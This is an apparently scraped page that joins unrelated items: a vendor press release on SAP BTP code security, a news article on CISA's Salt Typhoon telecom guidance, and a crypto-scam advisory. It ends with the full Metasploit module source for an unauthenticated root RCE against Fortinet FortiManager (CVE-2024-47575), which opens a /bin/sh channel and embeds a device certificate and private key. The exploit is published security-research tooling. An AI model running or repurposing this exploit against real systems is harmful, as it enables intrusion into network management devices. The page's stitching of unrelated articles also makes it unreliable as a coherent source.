*   Inline Security “Spell Check” for Developers: To help developers accelerate and de-risk projects, Control for BTP offers real-time, inline security scanning while code is being written. Just like a spell checker in a word processor, the product identifies code issues as they occur, providing developers with immediate feedback and actionable fixes to address security risks during the development process. 
    

*   Centralized Git Repository Scanning: As SAP development increasingly moves toward Git-based workflows, Control for BTP allows developers to centrally manage code security scans. Whether performing individual scans or bulk scans across multiple Gits, developers can quickly and efficiently scan entire code projects by simply pointing the product to the relevant Git repositories, saving time and reducing manual efforts.
    

“We’re excited to be the first to market with this comprehensive application security solution for SAP BTP,” said Sadik Al-Abdulla, Chief Product Officer of Onapsis. “SAP’s fiscal Q3 cloud revenue is up 25%, demonstrating growing adoption of its cloud services for SAP S/4HANA as companies look to update and modernize their legacy SAP ECC landscapes. As such, securing code throughout the software development lifecycle has never been more critical. With our expanded code security testing capabilities for BTP, we’re empowering developers to proactively find and fix vulnerabilities, ensuring faster, safer and more successful RISE with SAP projects.”

Onapsis is the only application security and compliance vendor endorsed by SAP. With the extension of BTP support to Control, Onapsis now offers customers comprehensive security and compliance coverage for SAP BTP across all of its key product lines - Assess, Defend and Control.

SAP BTP is a cornerstone of SAP’s CleanCore approach, designed to minimize customizations and simplify system upgrades. Onapsis’ new offering provides peace of mind by ensuring that code developed for SAP BTP is free from vulnerabilities that could lead to compliance issues, production failures, unplanned downtime or project delays.

Onapsis has been recognized in the Gartner® Magic Quadrant™ for Application Security Testing for three consecutive years.

Availability

The expanded SAP BTP security offering is generally available in Q4 2024, with pricing and further details available through Onapsis sales representatives or authorized systems integrators. For more information, please visit: https://onapsis.com/platform/btp/.   

Gartner, Magic Quadrant for Application Security Testing, by Mark Horvath, Dale Gardner, Manjunath Bhat, Ravisha Chugh, Angela Zhao, 30 April 2024 

Gartner is a registered trademark and service mark, and Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved. 

Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

About Onapsis

Onapsis is the global leader in SAP cybersecurity and compliance, trusted by the world’s leading organizations to securely accelerate their SAP cloud digital transformations with confidence. As the SAP-endorsed and most widely used solution to protect SAP, the Onapsis Platform empowers Cybersecurity and SAP teams with automated compliance, vulnerability management, threat detection, and secure development for their RISE with SAP, S/4HANA Cloud and hybrid SAP applications. Powered by threat insights from the Onapsis Research Labs, the world’s leading SAP cybersecurity experts, Onapsis provides unparalleled protection, ease of use, and rapid time to value, empowering SAP customers to innovate faster and securely. Connect with Onapsis on LinkedIn, X, or visit https://www.onapsis.com.

Onapsis Expands Code Security Capabilities to Accelerate and De-Risk SAP BTP Development Projects

Individuals concerned about the privacy of their communications should consider using encrypted messaging apps and encrypted voice communications, CISA and FBI officials say.

Source: Weitwinkel via Shtterstock

Concerns over the extent of China-backed Salt Typhoon's intrusions into US telecom networks have prompted the US Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), and the FBI to issue guidance to the sector on addressing the threat.

The detailed recommendations come as officials from the authoring agencies this week described victims of the attack — which include Verizon, AT&T, and Lumen — as still working to eradicate the threat actor from their networks.

**Still Working to Evict**

"We cannot say with certainty that the adversary has been evicted, because we still don't know the scope of what they're doing," Jeff Greene, executive assistant director for cybersecurity at CISA, said in a media call this week.

"I have confidence that we are on top of it in terms of tracking them down and seeing what's going on, but we cannot, with confidence, say that we know everything," Greene said, according to a transcript of the media call that CISA made available to Dark Reading. Given where most victims are in their investigations, it is "impossible" to predict a timeframe for when they will complete fully evicting the threat actor, he said.

Several security experts consider Salt Typhoon's attacks on US telecom infrastructure as one of the most egregious cyber espionage campaigns ever in size and scope. It's unknown how many companies the threat actor has compromised as part of the campaign so far, but known victims include some of the biggest telecom providers in the country, including AT&T and Verizon.

The attacks enabled multiple activities, including theft of a large number of call detail records — such as a caller's and receiver's phone numbers, call duration, call type, and cell tower location — of telecom customers. In a smaller number of instances, Salt Typhoon used its presence on telecom provider networks to intercept calls and messages of targeted individuals, which include government officials and politicians. Separately, the threat actor also collected information on an unknown number of individuals who were the subjects of legal national security and law enforcement intercepts.

"The continued investigation into the PRC targeting commercial telecom infrastructure has revealed a broad and significant cyber-espionage campaign," an FBI official said on background during this week's media call. "We have identified that PRC-affiliated cyber actors have compromised networks of multiple telecom companies to enable multiple activities.

**Detailed Recommendations**

The new guidance for addressing the threat includes recommendations for quickly detecting Salt Typhoon activity, improving visibility, reducing existing vulnerabilities, eliminating common misconfigurations, and limiting the attack surface. The guidelines include a section devoted to hardening Cisco network gear, which the authoring agencies described as a popular target for the attacker in the ongoing campaign.

"Right now, the hardening guidance that we put out specifically would make the activities that we've seen across the victims much harder to continue," Greene said. "In some cases, it might result in limiting their access." He described Salt Typhoon actors as employing a variety of tactics to breach victim networks, so response and mitigation approaches will differ on a case by case basis. "These are not cookie-cutter compromises in terms of how deeply compromised a victim might be, or what the actor has been able to do."

**Use Encrypted Messaging Apps and Services**

Green and the FBI official on the media call recommended that individuals concerned about the privacy of their mobile device communications should consider using encrypted messaging apps — examples of which would include WhatsApp and Signal — and encrypted voice communications. "People looking to further protect their mobile device communications would benefit from considering using a cellphone that automatically receives timely operating system updates, responsibly managed encryption, and phishing resistant MFA for email, social media, and collaboration tools," the FBI official said.

Trey Ford, chief information security officer (CISO) at Bugcrowd pointed to phishing-resistant multifactor authentication in the new guidance as something that organizations should consider prioritizing. "Everything we can do to raise the cost and work factor for malicious actors and nation state communities helps," he notes. He also recommends that organizations add encryption to all traffic crossing third-party communications infrastructure and leverage apps like WhatsApp and Signal where it makes sense. "Also, I would recommend adding a second factor of authentication, something stronger than SMS, such as Yubikeys, Apple's Secure Element, or pseudo-random code generators like Google Authenticator, Authy, \[and\] Duo, to all of your online accounts."

Chris Pierson, CEO and founder of Blackcloak, perceives the new hardening advice as useful in helping companies in the telecom sector prioritize their controls, remediation, and ongoing assessment activity. The advice to individual consumers and business executives to protect against Salt Typhoon is useful as well, he notes: "From tips on using security messaging as opposed to text/SMS, reducing the likelihood of SIM swapping by using a SIM PIN, and implementing dual factor authentication on key accounts, the guidance makes it easier for key executives and highly targeted persons to protect themselves."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

CISA Issues Guidance to Telecom Sector on Salt Typhoon Threat

The value of cryptocurrencies is going through the roof, so the scammers are even more interested in your funds

With the value of cryptocurrencies going to the roof, you can expect several attempts to get defrauded if you even show the slightest interest in the topic or not.

Since most cybercriminals lack creativity and are notoriously lazy, we expect to see only slight variations of old tricks. So, we figured if we showed you some old examples, you would know what to expect and hopefully that will assist you in avoiding them. And avoiding them is in everyone’s best interest—the Federal Bureau of Investigation (FBI) reported estimated losses to cryptocurrency related fraud exceeding $5.6 billion in 2023.

Here’s what to look out for:

**Pig butchering scams**. We have discussed the workings of pig butchering scams several times. Somebody contacts you out of the blue, sometimes pretending to be a friend you haven’t heard of in ages, sometimes a celebrity, and sometimes someone appearing to have the wrong contact details.

Once the conversation starts, the scammer will slowly move to the subject of interesting “investments” with the goal of cleaning out your accounts. The investments, mind you, are always part of the larger scam. By siphoning your money out of your accounts, and by sometimes even fabricating false “returns” on your investments, the cybercriminals are slowly building trust from you, only to yank away all your money at a later date.

**Elon Musk livestreams.** Scammers have used deepfake videos of Elon Musk and other wealthy celebrities to deceive investors. These scams make it appear as if this celebrity is discussing specific cryptocurrency opportunities and promising doubled returns on cryptocurrency deposits if victims send in their crypto. Remember, if a celebrity or public figure is suddenly making large promises on specific, individual cryptocurrencies, be cautious about their claims.

**Fake crypto trading platforms.** If you want to invest in cryptocurrency or want to get out now that the price is right for you, be careful where you conduct the trades. Unfortunately, we have seen a number of devastating exit scams and other deceptive operations where people’s life savings disappeared into thin air.

**Advance fee scams.** These are closely related to the fake crypto trading platform. In advance fee scams a “trader” asks for an upfront payment, promising a future service or huge return on investment. This is sometimes followed by additional requests to complete the promised transaction, which, as it turns out eventually, will never happen.

**Fake bonus scams.** Similar to pyramid schemes, there are sites where users would supposedly earn more based on the number of referrals and investment amounts made by their referrals. The victims did indeed see the number of tokens grow steadily. But when they tried to withdraw their funds, they got nothing.

**Compromised account scams**. Cybercriminals will send a warning to the target and claim that their account has been compromised. If the user responds, the scammers will try to obtain additional information such as the owner’s seed phrase, an important piece of information which thieves can use to empty the account.

**Typosquatting.** Similar to other typosquatting scams, imposters have registered domain names that are similar to or can easily be confused with legitimate cryptocurrency trading platforms. Should you enter your login credentials on such a fake site, the scammers will harvest them and log in on the actual site to take over your account.

**How to protect your investments**

A good resource for learning about crypto related scams is the Crypto Scam Tracker website of the California Department of Financial Protection and Innovation (DFPI) where you can find examples of the latest scams that are doing the rounds. Here is how you can stay safe from crypto scams (and other types of common scams found online):

*   Use a password manager, it will refuse to fill out your details when it’s on the wrong website.
*   Use multi-factor authentication (MFA) to make it harder for criminals to take over your account.
*   Don’t respond to messages out of the blue, especially from people you don’t know.
*   Don’t click on links in unsolicited emails or messages.
*   Carefully research the platforms you plan to do business with.

And always act on the age-old adage: “If it’s too good to be true, it probably is.”

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Crypto&#8217;s rising value likely to bring new wave of scams 

This Metasploit module exploits a missing authentication vulnerability affecting FortiManager and FortiManager Cloud devices to achieve unauthenticated RCE with root privileges. The vulnerable FortiManager versions are 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, and 6.2.0 through 6.2.12. The vulnerable FortiManager Cloud versions are 7.4.1 through 7.4.4, 7.2.1 through 7.2.7, 7.0.1 through 7.0.12, and 6.4 (all versions).

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Fortinet FortiManager Unauthenticated RCE',        'Description' => %q{          This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager          Cloud devices to achieve unauthenticated RCE with root privileges.          The vulnerable FortiManager versions are:          * 7.6.0          * 7.4.0 through 7.4.4          * 7.2.0 through 7.2.7          * 7.0.0 through 7.0.12          * 6.4.0 through 6.4.14          * 6.2.0 through 6.2.12          The vulnerable FortiManager Cloud versions are:          * 7.4.1 through 7.4.4          * 7.2.1 through 7.2.7          * 7.0.1 through 7.0.12          * 6.4 (all versions).        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF Exploit & Rapid7 Analysis        ],        'References' => [          ['CVE', '2024-47575'],          # AttackerKB Rapid7 Analysis.          ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'],          # Bishop Fox details certificate requirements for connecting to the FGFM service.          ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'],          # Vendor Advisory.          ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423']        ],        'DisclosureDate' => '2024-10-23',        'Platform' => %w[unix linux],        'Arch' => [ARCH_CMD],        'Privileged' => true, # Code execution as 'root'        'DefaultOptions' => {          'RPORT' => 541,          'SSL' => true,          'FETCH_WRITABLE_DIR' => '/tmp'        },        'Targets' => [ [ 'Default', {} ] ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        # The exploit provides a suitable client certificate/key pair by default, however we can let a user configure        # a different certificate/key pair to use if they want. The user can also override the serial number and        # platform if needed, but the exploit will try to detect the serial number and platform from the certificate        # by default.        OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']),        OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']),        OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']),        OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.'])      ]    )  end  def check    fgfm_sock = make_socket    peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)    fgfm_sock.close    organization = get_cert_subject_item(peer_cert, 'O')    common_name = get_cert_subject_item(peer_cert, 'CN')    # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using.    # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial    # number identifier.    return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG')    CheckCode::Unknown  end  def exploit    client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert    client_cert = OpenSSL::X509::Certificate.new(client_cert_raw)    common_name = get_cert_subject_item(client_cert, 'CN')    fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name    print_status("Client certificate common name: #{common_name}")    serial_number = 'FMG-VM0000000000'    platform = 'FortiManager-VM64'    # The platform needs to be the expected type of the corresponding serial number. We try to match these up here,    # and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options    # in case it is needed.    if common_name.start_with? 'FMG'      serial_number = common_name      platform = 'FortiManager-VM64'    elsif common_name.start_with? 'FG'      serial_number = common_name      platform = 'FortiGate-VM64'    else      print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.')    end    serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber']    platform = datastore['ClientPlatform'] if datastore['ClientPlatform']    print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.")    print_status('Connecting...')    fgfm_sock = make_socket    fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock    print_status('Registering device...')    req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"    resp1 = send_packet(fgfm_sock, req1)    unless resp1&.include?('reply 200')      fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.')    end    print_status('Creating channel...')    req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00"    resp2 = send_packet(fgfm_sock, req2)    unless resp2&.include?('action=ack')      fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.')    end    localid = resp2.match(/localid=(\d+)/)    unless localid      fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.')    end    print_status('Triggering...')    req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n"    send_packet(fgfm_sock, req3, read: false)  end  # We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may  # either be a file path, or a blob of text.  def make_socket    hash = {      'Proto' => 'tcp',      'PeerHost' => datastore['RHOST'],      'PeerPort' => datastore['RPORT'],      'SSL' => true,      'SSLVerifyMode' => 'NONE',      'Context' =>        {          'Msf' => framework,          'MsfExploit' => self        }    }    hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert']    hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey']    params = Rex::Socket::Parameters.from_hash(hash)    params.ssl_client_cert = get_client_cert unless datastore['ClientCert']    params.ssl_client_key = get_client_key unless datastore['ClientKey']    fgfm_sock = Rex::Socket::Tcp.create_param(params)    # Register our new socket, so that abort_sockets will close this socket after the payload handler    # has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout    # in the exploit method, before we manually close the socket and then try to catch the session. We want to keep    # the socket open until we have a session, as closing the socket too quickly can prevent the payload command    # we transmit over the FGFM channel on this socket from executing.    add_socket(fgfm_sock)    fgfm_sock  end  def send_packet(fgfm_sock, data, read: true)    packet = [0x36E01100, data.length + 8].pack('NN')    packet += data    fgfm_sock.write(packet)    return nil unless read    header = fgfm_sock.read(8)    unless header      print_error('Failed to read an FGFM header')      return nil    end    magic, len = header.unpack('NN')    unless magic == 0x36E01100      print_error('Bad magic value in FGFM header')      return nil    end    unless len >= 8      print_error('Bad length value in FGFM header')      return nil    end    fgfm_sock.read(len - 8)  end  def get_cert_subject_item(cert, type)    cert.subject.to_a.each do |item|      return item[1] if item[0] == type    end    nil  end=beginAn x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with aserial number of FMG-VM0000000000 and a platform of FortiManager-VM64.$ sha1sum Fortinet_Local2.cer9fad50dace25e68694e028f628282b1194ec58a1  Fortinet_Local2.cer$ sha1sum Fortinet_Local2.keyd006e298df00450973e22c74726404d841db9874  Fortinet_Local2.key$ openssl x509 -noout -text -in Fortinet_Local2.cerCertificate:    Data:        Version: 3 (0x2)        Serial Number: 405822 (0x6313e)        Signature Algorithm: sha256WithRSAEncryption        Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com        Validity            Not Before: Nov 10 21:14:26 2017 GMT            Not After : Jan 19 03:14:07 2038 GMT        Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com=end  def get_client_cert    "-----BEGIN CERTIFICATE-----MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYDVQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAwDgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQDExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeVjIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//woCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKdpwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPnhl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AEIXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcRutg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEAl265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCgzP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmivw7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bdikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+7pactwTnQmwhvlLQ7Z/dOg==-----END CERTIFICATE-----"  end  def get_client_key    "-----BEGIN PRIVATE KEY-----MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyHBPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAiUKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacDCX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrYOjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJGABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adjpdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GUBCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN23aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3VenmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBlDQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8yjFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznWGwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbjMMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0QIU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9iBFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4eoDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDuLh1BvSCTWFh0WIUxOrNlmlg1Uw==-----END PRIVATE KEY-----"  endend

Tag

#sap